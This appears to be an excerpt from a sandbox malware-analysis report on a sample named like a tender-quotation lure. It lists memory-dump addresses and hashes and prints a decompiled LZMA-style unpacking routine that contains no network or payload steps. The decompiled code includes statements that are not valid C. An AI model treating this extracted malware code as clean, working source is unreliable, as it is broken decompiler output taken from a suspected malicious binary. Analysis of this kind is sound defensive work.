          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00407447
          0x004073ce
          0x004073cb
          0x00000000
          0x00407002

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
          • Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
          • Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
          • Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 98%
          			E0040711C() {
          				unsigned short _t531;
          				signed int _t532;
          				void _t533;
          				signed int _t534;
          				signed int _t535;
          				signed int _t565;
          				signed int _t568;
          				signed int _t589;
          				signed int* _t606;
          				void* _t613;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t613 - 0x40) != 0) {
          						 *(_t613 - 0x84) = 0xb;
          						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
          						goto L132;
          					} else {
          						__eax =  *(__ebp - 0x28);
          						L88:
          						 *(__ebp - 0x2c) = __eax;
          						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          						L89:
          						__eax =  *(__ebp - 4);
          						 *(__ebp - 0x80) = 0x15;
          						__eax =  *(__ebp - 4) + 0xa68;
          						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          						L69:
          						 *(__ebp - 0x84) = 0x12;
          						while(1) {
          							L132:
          							 *(_t613 - 0x54) = _t606;
          							while(1) {
          								L133:
          								_t531 =  *_t606;
          								_t589 = _t531 & 0x0000ffff;
          								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
          								if( *(_t613 - 0xc) >= _t565) {
          									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
          									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
          									 *(_t613 - 0x40) = 1;
          									_t532 = _t531 - (_t531 >> 5);
          									 *_t606 = _t532;
          								} else {
          									 *(_t613 - 0x10) = _t565;
          									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          									 *_t606 = (0x800 - _t589 >> 5) + _t531;
          								}
          								if( *(_t613 - 0x10) >= 0x1000000) {
          									goto L139;
          								}
          								L137:
          								if( *(_t613 - 0x6c) == 0) {
          									 *(_t613 - 0x88) = 5;
          									L170:
          									_t568 = 0x22;
          									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
          									_t535 = 0;
          									L172:
          									return _t535;
          								}
          								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
          								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          								L139:
          								_t533 =  *(_t613 - 0x84);
          								while(1) {
          									 *(_t613 - 0x88) = _t533;
          									while(1) {
          										L1:
          										_t534 =  *(_t613 - 0x88);
          										if(_t534 > 0x1c) {
          											break;
          										}
          										switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
          											case 0:
          												if( *(_t613 - 0x6c) == 0) {
          													goto L170;
          												}
          												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          												_t534 =  *( *(_t613 - 0x70));
          												if(_t534 > 0xe1) {
          													goto L171;
          												}
          												_t538 = _t534 & 0x000000ff;
          												_push(0x2d);
          												asm("cdq");
          												_pop(_t570);
          												_push(9);
          												_pop(_t571);
          												_t609 = _t538 / _t570;
          												_t540 = _t538 % _t570 & 0x000000ff;
          												asm("cdq");
          												_t604 = _t540 % _t571 & 0x000000ff;
          												 *(_t613 - 0x3c) = _t604;
          												 *(_t613 - 0x1c) = (1 << _t609) - 1;
          												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
          												_t612 = (0x300 << _t604 + _t609) + 0x736;
          												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
          													L10:
          													if(_t612 == 0) {
          														L12:
          														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
          														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          														goto L15;
          													} else {
          														goto L11;
          													}
          													do {
          														L11:
          														_t612 = _t612 - 1;
          														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
          													} while (_t612 != 0);
          													goto L12;
          												}
          												if( *(_t613 - 4) != 0) {
          													GlobalFree( *(_t613 - 4));
          												}
          												_t534 = GlobalAlloc(0x40, 0x600); // executed
          												 *(_t613 - 4) = _t534;
          												if(_t534 == 0) {
          													goto L171;
          												} else {
          													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
          													goto L10;
          												}
          											case 1:
          												L13:
          												__eflags =  *(_t613 - 0x6c);
          												if( *(_t613 - 0x6c) == 0) {
          													 *(_t613 - 0x88) = 1;
          													goto L170;
          												}
          												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
          												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          												_t45 = _t613 - 0x48;
          												 *_t45 =  *(_t613 - 0x48) + 1;
          												__eflags =  *_t45;
          												L15:
          												if( *(_t613 - 0x48) < 4) {
          													goto L13;
          												}
          												_t546 =  *(_t613 - 0x40);
          												if(_t546 ==  *(_t613 - 0x74)) {
          													L20:
          													 *(_t613 - 0x48) = 5;
          													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
          													goto L23;
          												}
          												 *(_t613 - 0x74) = _t546;
          												if( *(_t613 - 8) != 0) {
          													GlobalFree( *(_t613 - 8));
          												}
          												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
          												 *(_t613 - 8) = _t534;
          												if(_t534 == 0) {
          													goto L171;
          												} else {
          													goto L20;
          												}
          											case 2:
          												L24:
          												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
          												 *(_t613 - 0x84) = 6;
          												 *(_t613 - 0x4c) = _t553;
          												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
          												L132:
          												 *(_t613 - 0x54) = _t606;
          												goto L133;
          											case 3:
          												L21:
          												__eflags =  *(_t613 - 0x6c);
          												if( *(_t613 - 0x6c) == 0) {
          													 *(_t613 - 0x88) = 3;
          													goto L170;
          												}
          												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          												_t67 = _t613 - 0x70;
          												 *_t67 =  &(( *(_t613 - 0x70))[1]);
          												__eflags =  *_t67;
          												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          												L23:
          												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
          												if( *(_t613 - 0x48) != 0) {
          													goto L21;
          												}
          												goto L24;
          											case 4:
          												L133:
          												_t531 =  *_t606;
          												_t589 = _t531 & 0x0000ffff;
          												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
          												if( *(_t613 - 0xc) >= _t565) {
          													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
          													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
          													 *(_t613 - 0x40) = 1;
          													_t532 = _t531 - (_t531 >> 5);
          													 *_t606 = _t532;
          												} else {
          													 *(_t613 - 0x10) = _t565;
          													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          													 *_t606 = (0x800 - _t589 >> 5) + _t531;
          												}
          												if( *(_t613 - 0x10) >= 0x1000000) {
          													goto L139;
          												}
          											case 5:
          												goto L137;
          											case 6:
          												__edx = 0;
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 4);
          													__ecx =  *(__ebp - 0x38);
          													 *(__ebp - 0x34) = 1;
          													 *(__ebp - 0x84) = 7;
          													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          													while(1) {
          														L132:
          														 *(_t613 - 0x54) = _t606;
          														goto L133;
          													}
          												}
          												__eax =  *(__ebp - 0x5c) & 0x000000ff;
          												__esi =  *(__ebp - 0x60);
          												__cl = 8;
          												__cl = 8 -  *(__ebp - 0x3c);
          												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          												__ecx =  *(__ebp - 0x3c);
          												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          												__ecx =  *(__ebp - 4);
          												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          												__eflags =  *(__ebp - 0x38) - 4;
          												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          												if( *(__ebp - 0x38) >= 4) {
          													__eflags =  *(__ebp - 0x38) - 0xa;
          													if( *(__ebp - 0x38) >= 0xa) {
          														_t98 = __ebp - 0x38;
          														 *_t98 =  *(__ebp - 0x38) - 6;
          														__eflags =  *_t98;
          													} else {
          														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          													}
          												} else {
          													 *(__ebp - 0x38) = 0;
          												}
          												__eflags =  *(__ebp - 0x34) - __edx;
          												if( *(__ebp - 0x34) == __edx) {
          													__ebx = 0;
          													__ebx = 1;
          													goto L61;
          												} else {
          													__eax =  *(__ebp - 0x14);
          													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          													__eflags = __eax -  *(__ebp - 0x74);
          													if(__eax >=  *(__ebp - 0x74)) {
          														__eax = __eax +  *(__ebp - 0x74);
          														__eflags = __eax;
          													}
          													__ecx =  *(__ebp - 8);
          													__ebx = 0;
          													__ebx = 1;
          													__al =  *((intOrPtr*)(__eax + __ecx));
          													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          													goto L41;
          												}
          											case 7:
          												__eflags =  *(__ebp - 0x40) - 1;
          												if( *(__ebp - 0x40) != 1) {
          													__eax =  *(__ebp - 0x24);
          													 *(__ebp - 0x80) = 0x16;
          													 *(__ebp - 0x20) =  *(__ebp - 0x24);
          													__eax =  *(__ebp - 0x28);
          													 *(__ebp - 0x24) =  *(__ebp - 0x28);
          													__eax =  *(__ebp - 0x2c);
          													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          													__eax = 0;
          													__eflags =  *(__ebp - 0x38) - 7;
          													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          													__al = __al & 0x000000fd;
          													__eax = (__eflags >= 0) - 1 + 0xa;
          													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          													__eax =  *(__ebp - 4);
          													__eax =  *(__ebp - 4) + 0x664;
          													__eflags = __eax;
          													 *(__ebp - 0x58) = __eax;
          													goto L69;
          												}
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 8;
          												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          												while(1) {
          													L132:
          													 *(_t613 - 0x54) = _t606;
          													goto L133;
          												}
          											case 8:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 4);
          													__ecx =  *(__ebp - 0x38);
          													 *(__ebp - 0x84) = 0xa;
          													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
          												} else {
          													__eax =  *(__ebp - 0x38);
          													__ecx =  *(__ebp - 4);
          													__eax =  *(__ebp - 0x38) + 0xf;
          													 *(__ebp - 0x84) = 9;
          													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
          												}
          												while(1) {
          													L132:
          													 *(_t613 - 0x54) = _t606;
          													goto L133;
          												}
          											case 9:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													goto L89;
          												}
          												__eflags =  *(__ebp - 0x60);
          												if( *(__ebp - 0x60) == 0) {
          													goto L171;
          												}
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												_t259 =  *(__ebp - 0x38) - 7 >= 0;
          												__eflags = _t259;
          												0 | _t259 = _t259 + _t259 + 9;
          												 *(__ebp - 0x38) = _t259 + _t259 + 9;
          												goto L76;
          											case 0xa:
          												goto L0;
          											case 0xb:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__ecx =  *(__ebp - 0x24);
          													__eax =  *(__ebp - 0x20);
          													 *(__ebp - 0x20) =  *(__ebp - 0x24);
          												} else {
          													__eax =  *(__ebp - 0x24);
          												}
          												__ecx =  *(__ebp - 0x28);
          												 *(__ebp - 0x24) =  *(__ebp - 0x28);
          												goto L88;
          											case 0xc:
          												L99:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xc;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t334 = __ebp - 0x70;
          												 *_t334 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t334;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												__eax =  *(__ebp - 0x2c);
          												goto L101;
          											case 0xd:
          												L37:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xd;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t122 = __ebp - 0x70;
          												 *_t122 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t122;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												L39:
          												__eax =  *(__ebp - 0x40);
          												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          													goto L48;
          												}
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													goto L54;
          												}
          												L41:
          												__eax =  *(__ebp - 0x5b) & 0x000000ff;
          												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          												__ecx =  *(__ebp - 0x58);
          												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          												 *(__ebp - 0x48) = __eax;
          												__eax = __eax + 1;
          												__eax = __eax << 8;
          												__eax = __eax + __ebx;
          												__esi =  *(__ebp - 0x58) + __eax * 2;
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edx = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													 *(__ebp - 0x40) = 1;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													__ebx = __ebx + __ebx + 1;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edx;
          													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													goto L39;
          												} else {
          													goto L37;
          												}
          											case 0xe:
          												L46:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xe;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t156 = __ebp - 0x70;
          												 *_t156 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t156;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												while(1) {
          													L48:
          													__eflags = __ebx - 0x100;
          													if(__ebx >= 0x100) {
          														break;
          													}
          													__eax =  *(__ebp - 0x58);
          													__edx = __ebx + __ebx;
          													__ecx =  *(__ebp - 0x10);
          													__esi = __edx + __eax;
          													__ecx =  *(__ebp - 0x10) >> 0xb;
          													__ax =  *__esi;
          													 *(__ebp - 0x54) = __esi;
          													__edi = __ax & 0x0000ffff;
          													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          													__eflags =  *(__ebp - 0xc) - __ecx;
          													if( *(__ebp - 0xc) >= __ecx) {
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          														__cx = __ax;
          														_t170 = __edx + 1; // 0x1
          														__ebx = _t170;
          														__cx = __ax >> 5;
          														__eflags = __eax;
          														 *__esi = __ax;
          													} else {
          														 *(__ebp - 0x10) = __ecx;
          														0x800 = 0x800 - __edi;
          														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          														__ebx = __ebx + __ebx;
          														 *__esi = __cx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													 *(__ebp - 0x44) = __ebx;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														continue;
          													} else {
          														goto L46;
          													}
          												}
          												L54:
          												_t173 = __ebp - 0x34;
          												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
          												__eflags =  *_t173;
          												goto L55;
          											case 0xf:
          												L58:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xf;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t203 = __ebp - 0x70;
          												 *_t203 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t203;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												L60:
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													L55:
          													__al =  *(__ebp - 0x44);
          													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          													goto L56;
          												}
          												L61:
          												__eax =  *(__ebp - 0x58);
          												__edx = __ebx + __ebx;
          												__ecx =  *(__ebp - 0x10);
          												__esi = __edx + __eax;
          												__ecx =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edi = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													_t217 = __edx + 1; // 0x1
          													__ebx = _t217;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edi;
          													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													goto L60;
          												} else {
          													goto L58;
          												}
          											case 0x10:
          												L109:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0x10;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t365 = __ebp - 0x70;
          												 *_t365 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t365;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												goto L111;
          											case 0x11:
          												goto L69;
          											case 0x12:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 0x58);
          													 *(__ebp - 0x84) = 0x13;
          													__esi =  *(__ebp - 0x58) + 2;
          													while(1) {
          														L132:
          														 *(_t613 - 0x54) = _t606;
          														goto L133;
          													}
          												}
          												__eax =  *(__ebp - 0x4c);
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
          												__ecx =  *(__ebp - 0x58);
          												__eax =  *(__ebp - 0x4c) << 4;
          												__eflags = __eax;
          												__eax =  *(__ebp - 0x58) + __eax + 4;
          												goto L130;
          											case 0x13:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													_t469 = __ebp - 0x58;
          													 *_t469 =  *(__ebp - 0x58) + 0x204;
          													__eflags =  *_t469;
          													 *(__ebp - 0x30) = 0x10;
          													 *(__ebp - 0x40) = 8;
          													L144:
          													 *(__ebp - 0x7c) = 0x14;
          													goto L145;
          												}
          												__eax =  *(__ebp - 0x4c);
          												__ecx =  *(__ebp - 0x58);
          												__eax =  *(__ebp - 0x4c) << 4;
          												 *(__ebp - 0x30) = 8;
          												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
          												L130:
          												 *(__ebp - 0x58) = __eax;
          												 *(__ebp - 0x40) = 3;
          												goto L144;
          											case 0x14:
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
          												__eax =  *(__ebp - 0x80);
          												 *(_t613 - 0x88) = _t533;
          												goto L1;
          											case 0x15:
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          												__al = __al & 0x000000fd;
          												__eax = (__eflags >= 0) - 1 + 0xb;
          												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
          												goto L120;
          											case 0x16:
          												__eax =  *(__ebp - 0x30);
          												__eflags = __eax - 4;
          												if(__eax >= 4) {
          													_push(3);
          													_pop(__eax);
          												}
          												__ecx =  *(__ebp - 4);
          												 *(__ebp - 0x40) = 6;
          												__eax = __eax << 7;
          												 *(__ebp - 0x7c) = 0x19;
          												 *(__ebp - 0x58) = __eax;
          												goto L145;
          											case 0x17:
          												L145:
          												__eax =  *(__ebp - 0x40);
          												 *(__ebp - 0x50) = 1;
          												 *(__ebp - 0x48) =  *(__ebp - 0x40);
          												goto L149;
          											case 0x18:
          												L146:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0x18;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t484 = __ebp - 0x70;
          												 *_t484 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t484;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												L148:
          												_t487 = __ebp - 0x48;
          												 *_t487 =  *(__ebp - 0x48) - 1;
          												__eflags =  *_t487;
          												L149:
          												__eflags =  *(__ebp - 0x48);
          												if( *(__ebp - 0x48) <= 0) {
          													__ecx =  *(__ebp - 0x40);
          													__ebx =  *(__ebp - 0x50);
          													0 = 1;
          													__eax = 1 << __cl;
          													__ebx =  *(__ebp - 0x50) - (1 << __cl);
          													__eax =  *(__ebp - 0x7c);
          													 *(__ebp - 0x44) = __ebx;
          													while(1) {
          														 *(_t613 - 0x88) = _t533;
          														goto L1;
          													}
          												}
          												__eax =  *(__ebp - 0x50);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          												__eax =  *(__ebp - 0x58);
          												__esi = __edx + __eax;
          												 *(__ebp - 0x54) = __esi;
